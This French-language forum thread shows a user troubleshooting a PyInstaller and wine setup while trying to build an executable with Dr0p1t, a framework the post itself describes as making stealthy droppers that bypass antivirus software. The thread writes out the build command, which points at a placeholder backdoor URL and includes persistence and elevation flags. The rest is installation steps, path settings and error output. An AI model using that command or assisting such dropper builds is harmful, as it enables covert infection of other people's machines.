Annonce

Réduire
Aucune annonce.

[!] PyInstaller not installed : Can't compile file to exe..

Réduire
X
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • [!] PyInstaller not installed : Can't compile file to exe..

    Voici ma configuration :

    Un VPS Ubuntu x86_64

    J'ai un programme en Python : Dr0p1t.py, il fais appel à wine pour créer un exécutable avec l'aide de PyInstaller. Je ne pense pas que cela vienne de wine car Python.exe à été installé avec succès dans le répertoire suivant : '/root/.wine/drive_c/Python27/python.exe'.

    Le code de ce programme est sur le lien ci-dessous.

    https://github.com/D4Vinci/Dr0p1t-Fr...ster/Dr0p1t.py

    En exécutant ainsi la commande principale :
    ./Dr0p1t.py https://test.com/backdoor.exe -s -t -a -k --runas --upx J'obtiens le message suivant: [!] PyInstaller not installed : Can't compile file to exe.. Au niveau de la ligne 55 du fichier Dr0p1t.py:

    <>installer = "wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"</>

    le fichier "pyinstaller-script.py" est tout simplement manquant dans le répertoire script de pyinstaller, qui contient les fichiers suivants:

    build easy_install.exe macho_find.exe pip2.7.exe pyi-archive_viewer.exe pyi-makespec.exe pyi-set_version.exe pywin32_testall.py
    dist futurize.exe macho_standalone.exe pip2.exe pyi-bindepend.exe pyinstaller.exe pywin32_postinstall.py pywin32_testall.pyc
    easy_install-2.7.exe macho_dump.exe pasteurize.exe pip.exe pyi-grab_version.exe pyinstaller-script.spec pywin32_postinstall.pyc wheel.exe

    J'ai fait cette exportation PATH = ~ / .wine / drive_c / Python27 / Scripts: $ PATH mais rien n'y fais !

    Par-contre si je tape : pyinstaller -h , aucun problèmes.

    Je remercie d'avance la personne qui pourra m'aider à résoudre ce problème.

    Dr0p1t-Framework - A framework that create an advanced stealthy dropper that bypass most AVs and have a lot of tricks

  • #2
    pas de bonjour ? pas de présentation ?...

    télécharge python pour windows (version msi ) https://www.python.org/downloads/windows/ et fait l'installation avec wine tout simplement , pourquoi utiliser pyInstaller ?


    installation de python avec wine :

    Code:
    wine msiexec /i  la-version-python.msi

    info: https://wiki.winehq.org/Msiexec

    Commentaire


    • #3
      TU pourrais aussi simplement faire un who de pyinstaller puis un lien symbolique à ce fichier a l´endroit que lui veut.

      Commentaire


      • #4
        Bonjour,

        Merci d'avoir répondu à mon message, excusez-moi du peu de précisions et d'avoir été si bref. Je bloque dessus depuis un certain temps car je ne connais pas python.
        Car en fait à l'origine le problème vient de ce bout de code.

        <>
        if os.name=="nt":
        installer = "pyinstaller"
        exe = ""
        else:
        if sys.platform == "darwin": # On osx, the default .wine directory is located on $HOME/.wine/
        installer = "wine " + os.environ['HOME'] + "/.wine/drive_c/Python27/python.exe " + os.environ['HOME'] + "/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
        else: # TODO: find all defaults location for .wine , or request it directely to the user if not found.
        installer = "wine /root/.wine/drive_c/Python27/python.exe /root/.wine/drive_c/Python27/Scripts/pyinstaller-script.py"
        exe = "wine "
        </>

        Le fichier pyinstaller-script.py est absent de mon répertoire, tandis que pyinstaller-script.spec est bien là.

        Après avoir installé les programmes suivants sans problèmes:

        sudo dpkg --add-architecture i386 && sudo apt-get update && sudo apt-get install wine32
        sudo winecfg
        sudo wget https://www.python.org/ftp/python/2....thon-2.7.1.msi
        sudo wine msiexec /i python-2.7.12.msi /L*v log.txt
        sudo wget https://bootstrap.pypa.io/get-pip.py
        sudo wine /root/.wine/drive_c/Python27/python.exe get-pip.py
        sudo wine /root/.wine/drive_c/Python27/python.exe pip install pyinstaller

        Et avec l’exécution j'obtiens que pyinstaller n'est pas installé. J'ai voulu donc contrôler par un test simple :

        pyinstaller hello-world.py, et dans le build le fichier hello-world est inexploitable.

        des erreurs surviennent :

        missing module named 'org.python' - imported by pickle
        missing module named _subprocess - imported by subprocess
        missing module named msvcrt - imported by subprocess
        missing module named riscosenviron - imported by os
        missing module named riscospath - imported by os
        missing module named riscos - imported by os
        missing module named ce - imported by os
        missing module named _emx_link - imported by os
        missing module named os2 - imported by os
        missing module named nt - imported by os, ntpath
        missing module named org - imported by copy

        Et avec wine :

        wine pyinstaller.exe exemple.exe

        J'obtiens :

        wine: cannot find L"C:\\windows\\system32\\pyinstaller.exe"

        J'ai configuré pourtant le chemin de wine avec winecfg: Z:\

        J'ai deux versions de python : 2.7 et 3.5 gérées par les choix suivants :

        $:update-alternatives --list python
        $:update-alternatives --config python

        La version 2.7 est ici par defaut.

        Merci encore !

        Commentaire

        Chargement...
        X